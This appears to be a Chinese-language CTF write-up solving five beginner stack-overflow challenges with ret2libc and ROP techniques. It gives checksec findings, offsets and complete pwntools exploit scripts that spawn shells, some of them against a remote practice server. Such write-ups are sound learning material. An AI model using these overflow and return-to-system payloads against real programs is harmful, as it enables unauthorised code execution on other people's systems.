1. ret2libc1
checksec,没开启canary和地址随机化,只有NX
IDA Pro 静态调试
明显的栈溢出漏洞
输入一个字符串,如果这个字符串与secretcode(随机值)一样,则调用system函数
但是system内的不是熟悉的/bin/sh,而是shell!?,相当于在Terminal中输入
因此需要给shell!?覆盖为/bin/sh
gdb动态编译获取需要输入的字符数量
system地址
/bin/sh地址
Payload
system_addr = 0x08048460
binsh_addr = 0x08048720
b'A' * ( 108 + 0x04 ) + p32(system_addr) + p32(binsh_addr)
构造PoC
from pwn import *
io = process("/root/Desktop/Pwn/ret2libc1")
system_addr = 0x08048460
binsh_addr = 0x08048720
payload = ( b'A' * ( 108 + 0x04 ) + p32(system_addr) + b'A' * 4 + p32(binsh_addr) )
io.sendline(payload)
io.interactive()
成功获取shell
2. ret2libc2
checksec
IDA Pro 静态调试
依旧没有/bin/sh,但是这一次Shift+F12里也没有
依旧是栈溢出漏洞
可以将/bin/sh写入.bss段中,因为未开启PIE,并且bss可执行。
思路如下:
先覆写到ebp的位置,然后gets 输入system的地址,最后在输入/bin/sh
在栈中应该是这样的
system地址
gets地址
得出Payload
system_addr = 0x08048490
gets_addr = 0x08048460
buf2 = 0x0804A080
payload = ( b'A' * ( 108 + 0x04 ) + p32(gets_addr) + p32(system_addr) + p32(buf2) + p32(buf2) )
构造PoC
from pwn import *
io = process("/root/Desktop/Pwn/ret2libc2")
system_addr = 0x08048490
gets_addr = 0x08048460
buf2 = 0x0804A080
payload = ( b'A' * ( 108 + 0x04 ) + p32(gets_addr) + p32(system_addr) + p32(buf2) + p32(buf2) )
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
成功获取shell
3. ret2libc3
看了半天没看懂,不写了
4. jarvisoj_level2_x64
checksec
没开canary也没开PIE,IDA Pro静态调试
栈溢出漏洞,需要填充 128 + 0x08 个字符
有system和/bin/sh
Payload
system函数地址:
/bin/sh地址:
from pwn import *
io = process("/root/Desktop/Pwn/level2_x64")
binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_addr = 0x4006b3
payload = ( b'A' * ( 128 + 0x08 ) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) )
io.sendline(payload)
io.interactive()
此外还需要一个pop_rdi,大佬们的说法是平衡栈帧
构造PoC
from pwn import *
io = process("/root/Desktop/Pwn/level2_x64")
binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_addr = 0x4006b3
payload = ( b'A' * ( 128 + 0x08 ) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) )
io.sendline(payload)
io.interactive()
成功获取shell并cat flag.txt
5. [HarekazeCTF2019]baby_rop
checksec
IDA下甚至和之前的level2没什么区别,level2的PoC改一改就能用了
还是 sys , binsh , pop_rdi
就不过多赘述了
构造PoC
from pwn import *
io = remote("node4.buuoj.cn",28127)
binsh_addr = 0x601048
system_addr = 0x400490
pop_rdi_addr = 0x400683
payload = ( b'A' * ( 0x10 + 0x08 ) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) )
io.sendline(payload)
io.interactive()
成功获取shell,不过随时都会关闭,这题的flag存在/home/babyrop的flag中。
6. bjdctf_2020_babystack2
和1一模一样的解法,答案都丝毫不相差。
from pwn import *
io = remote("node4.buuoj.cn",25615)
#io = process("/root/Desktop/Pwn/bjdctf_2020_babystack2")
binsh_addr = 0x400726
#system_addr = 0x400490
#pop_rdi_addr = 0x400893
io.recvuntil(b"your name:")
io.sendline('-1')
payload = ( b'A' * ( 0x10 + 0x08 ) + p64(binsh_addr) )
io.recvuntil(b"name?")
io.sendline(payload)
io.interactive()
成功拿到flag,不过可能有网络波动或者什么问题偶尔断开一下,多试几次就好了。
研究研究 ret2libc3 再看看后续的题,发现后续的题目都是需要这个的。